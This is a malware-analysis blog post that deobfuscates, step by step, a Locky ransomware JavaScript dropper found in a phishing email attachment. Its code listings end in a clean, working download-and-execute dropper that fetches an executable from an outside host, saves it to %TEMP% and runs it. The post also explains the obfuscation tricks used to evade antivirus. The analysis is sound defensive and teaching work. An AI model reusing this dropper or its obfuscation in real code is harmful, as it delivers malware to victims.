Posted by Felix Weyne, July 2016.
Author contact: Twitter | LinkedIn
Tags:
dropper, Locky, ransomware, malicious javascript, deobfuscation

Aah, summer . Gotta love the weather. There is a downside to the summer if you live on the top floor in an apartment building though: it hardly cools down at night. While I'm writing this, it is 1 AM and it's still 27 °C in my apartment. I'm wide awake, so I decided to clean up my mailbox a bit. While moving half of my unread mails to the junk folder (dear vendors of 'security solutions', please stop spamming me), I noticed an old, semi-interesting mail in my junk folder. The mail, which was sent in the beginning of April, is displayed below.


Image 1: Locky phishing mail pretending to contain a scanned document.

The mail caught my attention because the sender of the mail is '[email protected]'. This clearly is a spoofed mail, because I own the 'uperesia.com' domain, and I'm positive that I didn't create an 'EPSON' mailbox. The mail claims that the zipped attachment contains a scanned document, but Google doesn't agree: Gmail clearly warns that the attachment contains malware. Gmail even is kind enough to make it undownloadable, in order to protect me. Thanks for protecting me Google, but I actually do want to download the attachment . By opening the original MIME message, I got hold of the attachment. The zipped attachment contains a javascript, that downloads and executes the Locky ransomware. The dropped executable wasn't available on the server anymore, but I was still able to fetch a sample from hybrid analysis. The result of opening the attachment in a sandbox is displayed below.


Image 2: Sandbox infected with Locky.

In this blog, I'll discuss the dropper. The Locky javascript dropper is heavily obfuscated. Below I'll explain the obfuscation tactics and how to easily deobfuscate the malicious script.

Step one: remove unused elements in 'comma operator' constructs

The original locky dropper can be downloaded here (password = infected). The malicious javascript contains a lot of random comments, that seem to be crawled from this stackoverflow page. If you remove the random comment lines, you get an obfuscated script like shown below. I have colored various parts of the script, in order to visualize the deobfuscation process for the reader.

String.prototype.important = function () { aa = this; return aa.charAt((1024 - 768 )*0); };
var EMwIiLQm = ["ActiveXObject", "ExpandEnvironmentStrings", "%TEMP%", ".txt", "Run", "WEFWEF", "WScript.Shell"];
var qsBoGjnAF = this[EMwIiLQm.shift()];
refine = (("disclaimers", "versus", "MrThugo", "times", "pPArPzIgCf") + "vXyXYkdYySU").important();
unexpecteds = (("bwmVFeGyiBm", "modular", "complication", "evasive", "sdeqaKEdcO") + "AqQOrJeuH").important();


var EWqJMnTg = new qsBoGjnAF(EMwIiLQm.pop());
var EBfoDea = new qsBoGjnAF(("M0"+"S0XM0L"+("schoolfellow","corporations","02.0")+"XM0L0H"+"T0T0P").split("0").join(""));
var ofvfrCwLx = EWqJMnTg[EMwIiLQm.shift()](EMwIiLQm.shift());
classmatee = (("suggesting", "GRzUDCdb", "tatters", "crisis", "EMlQktVl") + "KnhjfIr").important();

function hermes(automobile, average) {

    try {
        var covert = ofvfrCwLx + "/" + average + EMwIiLQm.shift().split("t").join("e");
    EBfoDea["o" + refine + classmatee + "n"](("disagree","heritage","FMSKTTUTdnS","disks","G") + classmatee + ("mpegs","connected","T"), automobile, false);
	var EBROGAD = "write";
    EBfoDea[unexpecteds + ("benin","varying","SiAUUeQMWu","e") + (("bluster", "skiing", "residential", "leech", "wrestling", "nSRXlEuvhBb") + "jMGFWT").important() 
	+ (("barnaby", "remember", "playstation", "downtown", "portion", "dPbgNDMIX") + "HymoXkYaSUI").important()]();
    NBEDDu = (""+"R"+"es"+("taunt","alkaline","yeoman","rings","pVE")).replace("VE", "on");
    if (EBfoDea.status == 200) {
	    var kXgxSCcbB = new qsBoGjnAF("ADODB.Stream");
        kXgxSCcbB["open"]();
        kXgxSCcbB.type = 1;
        kXgxSCcbB[EBROGAD](EBfoDea[NBEDDu + unexpecteds + "e"+("commercially","faced","corporation","Bo")+"dy"]);
        kXgxSCcbB[(refine + ("induction","fella","combustible","o")+"Di"+("absent","gorgeous","notably","mills","ti")+"on").replace("D", unexpecteds)] = 0;
        kXgxSCcbB["saveToFile"](covert, 2);
        kXgxSCcbB.close();
        EWqJMnTg[EMwIiLQm.shift()](covert, 1, "IGKfjqW" === "ArBPWax"); 
    }

} catch (yGgrOMY) { };

}
hermes("h"+("hello","uncivilized","pinnacle","eightyeight","XX")+("crystalline","prisoner","residence","X:")+"//"+("fiftytwo","citation","exhaust","rebuilt","ch")+
"ea"+("shinto","taxicab","pa")+"ir"+"ti"+"ck"+("similarly","surly","irrigation","etin")+"di"+"a[.]"+"ne"+"t/"+("mountain","archibald","45")+("banjo","meeting","t344")
+("saved","tackle","supervisor","holes","3r3"),"CGvMIoL");

An obfuscated script needlessly contains complex constructs, in order to make it more difficult for antivirus software to detect the code’s malicious nature. Deobfuscating a script mainly is the process of simplifying the script. The first set of constructs we can simplify are marked in blue. These constructs are making use of the little-known comma operator. The comma operator evaluates each of its operands (from left to right) and returns the value of the last operand. This means that each except the last value between the rounded bracket construct is irrelevant. The result of removing the unused elements is displayed in the next paragraph.

Step two: make use of the fetch-first-character function

If you look at the red code, you can easily see that there is a function defined called 'important'. This function operates on strings and returns the first character of a string. This means that we can replace a string by its first character in the obfuscated script, if there is an 'important' function applied to the string. The result of this simplification is displayed in the next paragraph.

String.prototype.important = function () { aa = this; return aa.charAt((1024 - 768 )*0); };
var EMwIiLQm = ["ActiveXObject", "ExpandEnvironmentStrings", "%TEMP%", ".txt", "Run", "WEFWEF", "WScript.Shell"];
var qsBoGjnAF = this[EMwIiLQm.shift()];
refine = ("pPArPzIgCf" + "vXyXYkdYySU").important();
unexpecteds = ("sdeqaKEdcO" + "AqQOrJeuH").important();


var EWqJMnTg = new qsBoGjnAF(EMwIiLQm.pop());
var EBfoDea = new qsBoGjnAF(("M0"+"S0XM0L"+"02.0"+"XM0L0H"+"T0T0P").split("0").join(""));
var ofvfrCwLx = EWqJMnTg[EMwIiLQm.shift()](EMwIiLQm.shift());
classmatee = ("EMlQktVl" + "KnhjfIr").important();

function hermes(automobile, average) {

    try {
        var covert = ofvfrCwLx + "/" + average + EMwIiLQm.shift().split("t").join("e");
    EBfoDea["o" + refine + classmatee + "n"]("G" + classmatee + "T"), automobile, false);
	var EBROGAD = "write";
    EBfoDea[unexpecteds + "e" + ("nSRXlEuvhBb" + "jMGFWT").important() 
	+ ("dPbgNDMIX" + "HymoXkYaSUI").important()]();
    NBEDDu = (""+"R"+"es"+"pVE").replace("VE", "on");
    if (EBfoDea.status == 200) {
	    var kXgxSCcbB = new qsBoGjnAF("ADODB.Stream");
        kXgxSCcbB["open"]();
        kXgxSCcbB.type = 1;
        kXgxSCcbB[EBROGAD](EBfoDea[NBEDDu + unexpecteds + "e"+"Bo"+"dy"]);
        kXgxSCcbB[(refine + "o"+"Di"+"ti"+"on").replace("D", unexpecteds)] = 0;
        kXgxSCcbB["saveToFile"](covert, 2);
        kXgxSCcbB.close();
        EWqJMnTg[EMwIiLQm.shift()](covert, 1, "IGKfjqW" === "ArBPWax"); 
    }

} catch (yGgrOMY) { };

}
hermes("h"+"XX"+"P:"+"//"+"ch"+
"ea"+"pa"+"ir"+"ti"+"ck"+"etin"+"di"+"a[.]"+"ne"+"t/"+"45"+"t344"
+"3r3","CGvMIoL");

Step three: pop & shift the object names array

When taking a closer look at the yellow code, it is easy to see that various object names like 'ActiveXObject' and 'WScript.Shell' are stored as strings in an array. Besides object names, we can see other strings that look like function names (e.g. 'run') and path locations (e.g. '%TEMP%').

var EMwIiLQm = ["ActiveXObject", "ExpandEnvironmentStrings", "%TEMP%", ".txt", "Run", "WEFWEF", "WScript.Shell"];
var qsBoGjnAF = this[EMwIiLQm.shift()];
refine = "p";
unexpecteds = "s";


var EWqJMnTg = new qsBoGjnAF(EMwIiLQm.pop());
var EBfoDea = new qsBoGjnAF(("M0"+"S0XM0L"+"02.0"+"XM0L0H"+"T0T0P").split("0").join(""));
var ofvfrCwLx = EWqJMnTg[EMwIiLQm.shift()](EMwIiLQm.shift());
classmatee = "E"; 

function hermes(automobile, average) {

    try {
        var covert = ofvfrCwLx + "/" + average + EMwIiLQm.shift().split("t").join("e");
    EBfoDea["o" + refine + classmatee + "n"]("G" + classmatee + "T"), automobile, false);
	var EBROGAD = "write";
    EBfoDea[unexpecteds + "e" + "n" 
	+ "d"]();
    NBEDDu = (""+"R"+"es"+"pVE").replace("VE", "on");
    if (EBfoDea.status == 200) {
	    var kXgxSCcbB = new qsBoGjnAF("ADODB.Stream");
        kXgxSCcbB["open"]();
        kXgxSCcbB.type = 1;
        kXgxSCcbB[EBROGAD](EBfoDea[NBEDDu + unexpecteds + "e"+"Bo"+"dy"]);
        kXgxSCcbB[(refine + "o"+"Di"+"ti"+"on").replace("D", unexpecteds)] = 0;
        kXgxSCcbB["saveToFile"](covert, 2);
        kXgxSCcbB.close();
        EWqJMnTg[EMwIiLQm.shift()](covert, 1, 0); 
    }

} catch (yGgrOMY) { };

}
hermes("h"+"XX"+"P:"+"//"+"ch"+
"ea"+"pa"+"ir"+"ti"+"ck"+"etin"+"di"+"a[.]"+"ne"+"t/"+"45"+"t344"
+"3r3","CGvMIoL");

The object names, function names and path locations are fetched from the array by making use of the shift & pop functions. The shift function returns the first element of the array, the pop function the last. If we run all the shift & pop functions that are defined in the obfuscated script, we get the following result:

var array = 
["ActiveXObject",
 "ExpandEnvironmentStrings", 
 "%TEMP%", 
 ".txt", 
 "Run", 
 "WEFWEF", 
 "WScript.Shell";];
 
array.Shift -> ActiveXObject
array.Pop -> WScript.Shell
array.Shift -> ExpandEnvironmentStrings
array.Shift -> %TEMP%
array.Shift -> .txt
array.Shift -> Run

The result of replacing the shift and pop actions by their returned values, is displayed in the next paragraph. Notice that one value in the array ('WEFWEF') never really is used in the script.

Step four: replace/drop the letters

The fourth deobfuscation step is really easy. Just replace the green code with the returned values of the replace/split-join functions. The split(x).join(y) function combination is the same as replace(x,y) (replace x with y). It is interesting to see how the 'txt' string suddenly results in an 'exe' string. By now, it becomes more and more clear that an executable is downloaded and executed.

var qsBoGjnAF = this["ActiveXObject"];
refine = "p";
unexpecteds = "s";


var EWqJMnTg = new qsBoGjnAF("WScript.Shell");
var EBfoDea = new qsBoGjnAF(("M0"+"S0XM0L"+"02.0"+"XM0L0H"+"T0T0P").split("0").join(""));
var ofvfrCwLx = EWqJMnTg["ExpandEnvironmentStrings"]("%TEMP%");
classmatee = "E"; 

function hermes(automobile, average) {

    try {
        var covert = ofvfrCwLx + "/" + average + "txt".split("t").join("e");
    EBfoDea["o" + refine + classmatee + "n"]("G" + classmatee + "T"), automobile, false);
	var EBROGAD = "write";
    EBfoDea[unexpecteds + "e" + "n" 
	+ "d"]();
    NBEDDu = (""+"R"+"es"+"pVE").replace("VE", "on");
    if (EBfoDea.status == 200) {
	    var kXgxSCcbB = new qsBoGjnAF("ADODB.Stream");
        kXgxSCcbB["open"]();
        kXgxSCcbB.type = 1;
        kXgxSCcbB[EBROGAD](EBfoDea[NBEDDu + unexpecteds + "e"+"Bo"+"dy"]);
        kXgxSCcbB[(refine + "o"+"Di"+"ti"+"on").replace("D", unexpecteds)] = 0;
        kXgxSCcbB["saveToFile"](covert, 2);
        kXgxSCcbB.close();
        EWqJMnTg["Run"](covert, 1, 0); 
    }

} catch (yGgrOMY) { };

}
hermes("h"+"XX"+"P:"+"//"+"ch"+
"ea"+"pa"+"ir"+"ti"+"ck"+"etin"+"di"+"a[.]"+"ne"+"t/"+"45"+"t344"
+"3r3","CGvMIoL");

Step five: rename & replace the variables

The fifth and last deobfuscation step is very easy. We just need to fill in the variables with their actual values, give the variables a logical name (instead of using random letters) and format the code a bit.

var qsBoGjnAF = this["ActiveXObject"];
refine = "p";
unexpecteds = "s";

var EWqJMnTg = new qsBoGjnAF("WScript.Shell");
var EBfoDea = new qsBoGjnAF("MSXML2.XMLHTTP");
var ofvfrCwLx = EWqJMnTg["ExpandEnvironmentStrings"]("%TEMP%");
classmatee = "E"; 

function hermes(automobile, average) {
    try {
        var covert = ofvfrCwLx + "/" + average + ".exe";
    EBfoDea["o" + refine + classmatee + "n"]("G" + classmatee + "T"), automobile, false);
	var EBROGAD = "write";
    EBfoDea[unexpecteds + "end"]();
    NBEDDu = "Respon";
    if (EBfoDea.status == 200) {
	    var kXgxSCcbB = new qsBoGjnAF("ADODB.Stream");
        kXgxSCcbB["open"]();
        kXgxSCcbB.type = 1;
        kXgxSCcbB[EBROGAD](EBfoDea[NBEDDu + unexpecteds + "eBody"]);
        kXgxSCcbB[refine + "osition"] = 0;
        kXgxSCcbB["saveToFile"](covert, 2);
        kXgxSCcbB.close();
        EWqJMnTg["Run"](covert, 1, 0); 
    }
} catch (yGgrOMY) { };
}
hermes("hxxx://cheapairticketindia[.]net/"+"45t3443r3","CGvMIoL");

The end result: a deobfuscated Locky dropper

By deobfuscating the mail attached javascript, we can now see what the code actually does. The javascript creates an XMLHTTP object to download an executable from the cheapairticketindia[.]net domain. This executable is the locky ransomware. The executable is written to the temporary directory. After it has been written to the temp directory, it gets executed via a shell object. This code is used a lot by droppers. The only thing that really changes between droppers of the same malware family, are the obfuscation techniques. It is also interesting to see that this code is very similar to 'download and execute' VBA office macro code that is used to spread other types of malware (e.g. Dridex) by the same threat actors.

var myActXobj = this["ActiveXObject"];
var myShell = new myActXobj("WScript.Shell");
var myHTTP = new myActXobj("MSXML2.XMLHTTP");
var myTempPath = myShell["ExpandEnvironmentStrings"]("%TEMP%");

function dropperFunc(myURL, exeName) {
    var myPath = myTempPath + "/" + exeName + ".exe";
    myHTTP["open"]("GET", myURL, false);
    myHTTP["send"]();
    if (myHTTP.status == 200) {
	var myStream = new myActXobj("ADODB.Stream");
        myStream["open"]();
        myStream.type = 1;
        myStream["write"](myHTTP["ResponseBody"]);
        myStream["position"] = 0;
        myStream["saveToFile"](myPath, 2);
        myStream.close();
        myShell["Run"](myPath, 1, 0); 
    }
}
dropperFunc("hxxx://cheapmalware[.]com/malicious.bin","CGvMIoL");